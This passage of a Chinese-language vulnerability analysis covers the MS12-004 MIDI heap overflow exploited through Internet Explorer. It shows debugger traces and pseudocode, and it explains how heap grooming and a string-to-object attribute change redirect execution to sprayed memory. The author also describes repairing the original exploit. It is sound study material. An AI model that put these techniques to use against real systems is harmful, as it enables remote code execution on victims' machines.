1 2 3 4 5 6 7 8 9 10 11 12 13 | 0 : 000 > !heap - p - a ecx address 040b0b80 found in _DPH_HEAP_ROOT @ 151000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 288be00 : 40b0b80 480 - 40b0000 2000 7c918f01 ntdll!RtlAllocateHeap + 0x00000e64 7dc9c980 mshtml!_MemAlloc + 0x00000065 7dc9aa9b mshtml!_MemRealloc + 0x00000037 7dc9c9a5 mshtml!CImplAry::EnsureSize + 0x000000f9 7ddae804 mshtml!CAttrArray::Clone + 0x0000005f 7dd89b16 mshtml!CElement::Clone + 0x00000140 7ddc33ef mshtml!CElement::cloneNode + 0x00000158 ... |
可以看到确实是在EnsureSize
中分配的空间,但是大小有0x480
,和一开始期待的0x400
并不相同。
在3.3小节的最后,我们已经确定了发生异常的0x400
空间的分配位置是位于76B5CDE9
的_winmmAlloc
函数调用。而在本小节,也确定了漏洞利用时的分配空间操作是在EnsureSize
函数中完成的,可以根据函数调用之后ecx的值确认分配的空间位置,这里选择位于.text:7DDAE80D 8B 48 04 mov ecx, [eax+4]
之后的操作。
在这两个位置下断点,我们可以确定发生异常时的空间分配是否真的占用了漏洞利用代码中释放的空间:
1 2 | bu 7DDAE810 ".echo 'Clone Alloc ';r ecx;g" bu 76B5CDEE ".echo 'winmmAlloc ';r eax;g" |
如果这时候直接执行查看输出结果,会发现winmmAlloc
得到的空间地址和Clone
函数中得到的空间地址没有相同的,这是因为开启了页表,需要关闭页表,然后在原本发生异常的位置76b5d224
设置一个断点,然后重新调试。
截取部分输出内容:
1 2 3 4 5 6 7 8 9 10 | ... 'Clone Alloc ' ecx = 0020c3b8 'Clone Alloc ' ecx = 0020c840 'Clone Alloc ' ecx = 0020ccc8 ... 'winmmAlloc ' eax = 0020c840 |
最后中断在原本异常发生位置:
1 2 3 4 5 6 7 8 9 10 11 12 13 | Breakpoint 2 hit eax = 00000251 ebx = 0000007f ecx = 007f2399 edx = 00000000 esi = 0020ca91 edi = 001ad6c0 eip = 76b5d224 esp = 22effe80 ebp = 22effea0 iopl = 0 nv up ei pl nz na po nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00000202 WINMM!midiOutPlayNextPolyEvent + 0x1ec : 76b5d224 8a06 mov al,byte ptr [esi] ds: 0023 : 0020ca91 = 00 0 : 010 > g Breakpoint 2 hit eax = 00000419 ebx = 00000073 ecx = 0073b29f edx = 00000000 esi = 0020cc59 edi = 001ad6c0 eip = 76b5d224 esp = 22effe80 ebp = 22effea0 iopl = 0 nv up ei pl zr na pe nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00000246 WINMM!midiOutPlayNextPolyEvent + 0x1ec : 76b5d224 8a06 mov al,byte ptr [esi] ds: 0023 : 0020cc59 = 00 |
第一次中断位置在0020ca91
,这个值距离分配的空间起点为0x251
,和3.2小节中得到的v19
的第一次偏移量相同;第二次中断在0020cc59
,距离分配的空间起点为419
,确实比空间大小0x400
多了0x19
个字节。
唯一的问题就在于,不知道是什么原因,EnsureSize
函数分配的空间大小不是0x400
,而是0x480
现在先不去管为什么分配的空间多了,我直接修改了测试文件,删除了最后的两个属性w62
和w63
,重新调试,断点不变,得到的输出结果截取:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | 'Clone Alloc ' ecx = 001e7e88 'Clone Alloc ' ecx = 001e8290 'Clone Alloc ' ecx = 001e8698 ... 'winmmAlloc ' eax = 001e8290 Breakpoint 2 hit eax = 00000251 ebx = 0000007f ecx = 007f2399 edx = 00000000 esi = 001e84e1 edi = 001ad4c8 eip = 76b5d224 esp = 22e7fe80 ebp = 22e7fea0 iopl = 0 nv up ei pl nz na po nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00000202 WINMM!midiOutPlayNextPolyEvent + 0x1ec : 76b5d224 8a06 mov al,byte ptr [esi] ds: 0023 : 001e84e1 = 00 0 : 010 > g Breakpoint 2 hit eax = 00000419 ebx = 00000073 ecx = 0073b29f edx = 00000000 esi = 001e86a9 edi = 001ad4c8 eip = 76b5d224 esp = 22e7fe80 ebp = 22e7fea0 iopl = 0 nv up ei pl zr na pe nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00000246 WINMM!midiOutPlayNextPolyEvent + 0x1ec : 76b5d224 8a06 mov al,byte ptr [esi] ds: 0023 : 001e86a9 = 09 |
可以看到这次中断在了001e86a9
位置,距离winmmAlloc
分配的空间0x419
,而且也和Clone分配的空间001e8698
距离为0x11
(因为每个堆块还是8字节的头部),但是读取的字节是0x09
,而不是我们预期的0x08
。观察一下001e8698
空间:
1 2 3 4 5 6 7 8 9 | 0 : 010 > db 001e8698 001e8698 03 81 00 00 00 00 00 80 - 00 00 00 00 10 31 32 01 ............. 12. 001e86a8 02 09 00 00 c1 c6 2d 00 - 00 00 00 00 20 bb 32 01 ...... - ..... . 2. 001e86b8 02 08 00 00 c2 c6 2d 00 - 00 00 00 00 dc 64 1d 00 ...... - ......d.. 001e86c8 02 09 00 00 c3 c6 2d 00 - 00 00 00 00 60 bc 32 01 ...... - .....`. 2. 001e86d8 02 09 00 00 c4 c6 2d 00 - 00 00 00 00 d0 bc 32 01 ...... - ....... 2. 001e86e8 02 09 00 00 c5 c6 2d 00 - 00 00 00 00 50 bd 32 01 ...... - .....P. 2. 001e86f8 02 09 00 00 c6 c6 2d 00 - 00 00 00 00 e0 bd 32 01 ...... - ....... 2. 001e8708 02 09 00 00 c7 c6 2d 00 - 00 00 00 00 80 be 32 01 ...... - ....... 2. |
第一行的内容貌似并不是w0
object属性,还是绕过原因不谈,再次删掉w0
属性,同时恢复一个之前删除的属性w62
,再次调试,保持断点不变:
1 2 3 4 5 6 7 | 0 : 010 > g Breakpoint 2 hit eax = 00000419 ebx = 00000073 ecx = 0073b29f edx = 00000000 esi = 001ef6c9 edi = 001ad4a0 eip = 76b5d224 esp = 22effe80 ebp = 22effea0 iopl = 0 nv up ei pl zr na pe nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00000246 WINMM!midiOutPlayNextPolyEvent + 0x1ec : 76b5d224 8a06 mov al,byte ptr [esi] ds: 0023 : 001ef6c9 = 08 |
这次读取到的字节是0x08
,如果继续往下单步调试,会发现这里的数值确实修改成了0x09
。
根据参考资料2,被修改成object
的string
元素之后会用来触发CAttrValue::GetIntoVariant()
函数的调用,也就是漏洞利用代码中的clones[k].w1('come on!');
语句,注意这是一个函数调用。直接在IDA中查看一下这个函数的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | HRESULT __thiscall CAttrValue::GetIntoVariant(CAttrValue * this, struct tagVARIANT * pvargDest) { v2 = 0 ; pvargDest - >vt = 0 ; if ( * ((_BYTE * )this + 1 ) = = 8 ) { / / 这里应该就是在判断类型,是string ... } if ( * ((_BYTE * )this + 1 ) ! = 9 ) { / / 如果类型不是 object ... } v4 = * ((_DWORD * )this + 3 ); if ( v4 ) ( * (void (__stdcall * * )(_DWORD))( * (_DWORD * )v4 + 4 ))( * ((_DWORD * )this + 3 )); pvargDest - >lVal = * ((_DWORD * )this + 3 ); pvargDest - >vt = * ((unsigned __int8 * )this + 1 ); return v2; } |
可以看到,如果类型是object的话,最后会有一个函数调用:(*(void (__stdcall **)(_DWORD))(*(_DWORD *)v4 + 4))(*((_DWORD *)this + 3));
我们直接在这个函数调用之前设置一个断点,然后继续执行,中断在这个位置:
1 2 3 4 5 6 7 8 | 0 : 000 > bp 7DDADFE5 0 : 000 > g Breakpoint 3 hit eax = 001c16b4 ebx = 00000000 ecx = 001ef6c8 edx = 0000003f esi = 001ef6c8 edi = 0013bbe4 eip = 7ddadfe5 esp = 0013b91c ebp = 0013b928 iopl = 0 nv up ei pl nz na pe nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00000206 mshtml!CAttrValue::GetIntoVariant + 0x4a : 7ddadfe5 8b08 mov ecx,dword ptr [eax] ds: 0023 : 001c16b4 = 0c0c1be4 |
注意这里从eax指向的位置取出的值,就是漏洞利用代码中selob.w1 = unescape("%u1be4%u0c0c")
中的值,继续单步到达函数调用处:
1 2 3 4 5 6 | 0 : 000 > p eax = 001c16b4 ebx = 00000000 ecx = 0c0c1be4 edx = 0000003f esi = 001ef6c8 edi = 0013bbe4 eip = 7ddadfe8 esp = 0013b918 ebp = 0013b928 iopl = 0 nv up ei pl nz na pe nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00000206 mshtml!CAttrValue::GetIntoVariant + 0x4d : 7ddadfe8 ff5104 call dword ptr [ecx + 4 ] ds: 0023 : 0c0c1be8 = 0c0c0c0c |
跳转的地址正是0x0C0C0C0C
。
因为我不确定原本的漏洞利用代码中shellcode的作用,执行之后也没看到效果,所以我把原本的shellcode换成了弹计算器的代码,最后成功弹出了计算器:
通过对原始漏洞利用代码的调试,以及参考资料2中的内容,确定了漏洞利用的原理,并且对原始代码进行修改,成功进行了漏洞利用。现在唯一的问题就在于,为什么要进行这样的修改。
4.4 进一步分析
对于漏洞利用代码的修改主要集中在select元素selob
的属性个数以及string属性的位置上。按照参考资料2的说法,EnsureSize
函数分配的空间大小应该是0x10*属性个数
,但是在我实验的过程中,发现设置64个属性后分配的空间大小为0x480
。我们来详细看一下EnsureSize
函数,最后分配空间的代码是v13 = _MemAlloc(dwBytes);
,追踪一下dwBytes
这个变量:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | / / 这里是函数一开始,此时dwBytes指的是第二个参数,每个属性占用的空间大小 0x10 v5 = dwBytes; ... / / 这里做了一个加法 nAttrib + 7 ,结果保存在dwBytes中 arg_4 = UIntAdd(nAttrib, 7u , &dwBytes); ... / / 这里其实在做一个对齐,如果属性个数超过 7 ,就会和 8 对齐 / / 也就是说如果有 9 个属性,v6就等于 16 v6 = nAttrib > = 8 ? dwBytes & 0xFFFFFFF8 : nAttrib; ... / / 对齐之后的属性个数 * 0x10 arg_4 = UIntMult(v6, v5, &dwBytes); ... v13 = _MemAlloc(dwBytes); |
不知道出于什么原因,64个属性值最后传入EnsureSize
函数的数值是0x42
,再加上对齐操作,导致0x42
变成了0x48
,结果分配了0x480
空间。同样,由于有这个对齐操作,即使设置的不是64个属性,最终也能分配到0x400
的空间。
还有一个问题就是在查看clones
数组中每一个复制之后得到的数据时,发现第一行数据并不是selob
的第一个属性内容,因此我在修改漏洞利用代码时,删除了属性w0
,让string属性w1
成为第一个属性(或者也可以修改MIDI文件)。
回到程序刚刚调用CAttrArray::Clone
函数的快照,取消页表,并删除w62
和w63
属性,如果在该函数中的EnsureSize
调用之后以及Copy
调用之后设置断点,在第一次中断之后可以确定程序分配的空间起始地址:
1 2 3 4 5 6 7 8 9 | 0 : 000 > bp 7ddae810 0 : 000 > bp 7DDAE851 0 : 000 > g Breakpoint 1 hit eax = 01328fc0 ebx = 01328edc ecx = 020c0450 edx = 00150608 esi = 01327a30 edi = 00000000 eip = 7ddae810 esp = 0013de70 ebp = 0013de90 iopl = 0 nv up ei pl zr na pe nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00000246 mshtml!CAttrArray::Clone + 0x6b : 7ddae810 8b06 mov eax,dword ptr [esi] ds: 0023 : 01327a30 = 00000100 |
起始地址为ecx寄存器的内容020c0450
,之后继续执行,断在第二个断点,此时应该完成了第一个属性的复制,查看一下之前分配的空间内容:
1 2 3 4 5 6 7 8 9 | 0 : 000 > db 020c0450 020c0450 02 09 00 00 c1 c6 2d 00 - 00 00 00 00 40 79 32 01 ...... - .....@y2. 020c0460 0c 0c 0c 0c 0c 0c 0c 0c - 0c 0c 0c 0c 0c 0c 0c 0c ................ 020c0470 0c 0c 0c 0c 0c 0c 0c 0c - 0c 0c 0c 0c 0c 0c 0c 0c ................ 020c0480 0c 0c 0c 0c 0c 0c 0c 0c - 0c 0c 0c 0c 0c 0c 0c 0c ................ 020c0490 0c 0c 0c 0c 0c 0c 0c 0c - 0c 0c 0c 0c 0c 0c 0c 0c ................ 020c04a0 0c 0c 0c 0c 0c 0c 0c 0c - 0c 0c 0c 0c 0c 0c 0c 0c ................ 020c04b0 0c 0c 0c 0c 0c 0c 0c 0c - 0c 0c 0c 0c 0c 0c 0c 0c ................ 020c04c0 0c 0c 0c 0c 0c 0c 0c 0c - 0c 0c 0c 0c 0c 0c 0c 0c ................ |
发现第一行内容就是第一个属性的内容,那么为什么在之前调试时会出现问题呢?在020c0450
这里设置一个写断点:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | 0 : 000 > ba w4 020c0450 0 : 000 > bl 0 e 7ddae7a5 0001 ( 0001 ) 0 : * * * * mshtml!CAttrArray::Clone 1 e 7ddae810 0001 ( 0001 ) 0 : * * * * mshtml!CAttrArray::Clone + 0x6b 2 e 7ddae851 0001 ( 0001 ) 0 : * * * * mshtml!CAttrArray::Clone + 0xad 3 e 020c0450 w 4 0001 ( 0001 ) 0 : * * * * 0 : 000 > bd 2 0 : 000 > g Breakpoint 3 hit eax = 00000010 ebx = 01328fc0 ecx = 00000003 edx = 00000000 esi = 0013de4c edi = 020c0454 eip = 7dc9ca22 esp = 0013de20 ebp = 0013de2c iopl = 0 nv up ei pl nz na po nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00010202 mshtml!CImplAry::InsertIndirect + 0x75 : 7dc9ca22 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] es: 0023 : 020c0454 = 002dc6c1 ds: 0023 : 0013de4c = 80000000 |
程序断在了CImplAry::InsertIndirect
函数内,看一下函数调用流程:
1 2 3 4 5 6 7 8 9 | 0 : 000 > kb ChildEBP RetAddr Args to Child 0013de2c 7dcf6242 00000000 00000000 0013de48 mshtml!CImplAry::InsertIndirect + 0x75 0013de58 7dcf61d4 00000000 0013de90 7ddae8f5 mshtml!CAttrArray::SetHeader + 0x5c 0013de64 7ddae8f5 00000001 00000000 01327850 mshtml!CAttrArray::EnsureHeader + 0x26 0013de90 7dd89b16 020c0830 01327850 0019c0c8 mshtml!CAttrArray::Clone + 0x151 0013df28 7ddc33ef 0013e000 0019c0c8 00000000 mshtml!CElement::Clone + 0x140 0013dff8 7ddceb08 00000000 0132ffff 0013e2d8 mshtml!CElement::cloneNode + 0x158 ... |
也就是说,在Clone
函数中,复制完属性信息之后,程序又调用了EnsureHeader
函数,并在所有属性信息之前,直接插入了10字节的头部信息,所有属性信息后移一位(10个字节)。
至少现在我知道传入EnsureSize
函数中的数值大于0x40的原因了,因为它还要为头部预留空间,可能还有一些其他信息也要预留空间,因此最终预留了0x20
的空间。
5. 减1操作漏洞
在参考资料2中也提到了,这个漏洞除了可以实现增1的操作外,也可以实现减1的操作。在发生异常的midiOutPlayNextPolyEvent
函数中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | if ( (v17 & 0xF0 ) = = 0x90 || (v17 & 0xF0 ) = = 0x80 ) { v19 = (wParam_3a + ((v17 & 0xF ) << 7 )) / 2 ; if ( v33 = = (char) 0x80 || !(_BYTE)v18 ) { / / 如果状态码是 8x v24 = (_BYTE * )(v19 + v16); v25 = * (_BYTE * )(v19 + v16); if ( (wParam_3a & 1 ) ! = 0 ) { ... } else { ... v26 = v25 - 1 ; } * v24 = v26; goto LABEL_46; } v20 = (char * )(v19 + v16); / / 下面是状态码为 9x 时执行的操作 v21 = * v20; / / 异常发生位置 v22 = * v20; ... } |
可以看到如果状态码是8x的形式,程序流程就会进入到上面的判断语句,然后执行到减1的操作。
6. 总结
这次漏洞分析中,只要了解了MIDI文件格式,那么一旦确定异常发生位置,在IDA中找到对应函数及其伪代码,通过对伪代码的分析,很容易确定漏洞产生的原理,其中书中介绍的导图推算的方法,画出变量的数值传递流程图,会让整个过程更加清晰。
VUPEN采用的漏洞利用方法十分新颖,具有借鉴意义。利用CImplAry中每个属性占据0x10空间的原理,不断分配和释放同样大小的堆空间,从而控制漏洞函数所分配空间周围的空间数据;利用string属性和object属性之间差值为1的特性,使用该漏洞将string属性变成了object属性,从而暴露出虚函数地址,让程序流程跳转到攻击者控制的数据中。
由于漏洞利用代码本身存在错误(和msf生成的不同),在修正问题的过程中,虽然花费了更多的时间,但是对漏洞利用的手法也了解的更为深刻。
7. 参考资料
- Standard MIDI-File Format Spec. 1.1, updated
Advanced Exploitation of Internet Explorer Heap Overflow Vulnerabilities (MS12-004)
注:该网址已失效,可以在archive.org中搜索
- 《漏洞战争》
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课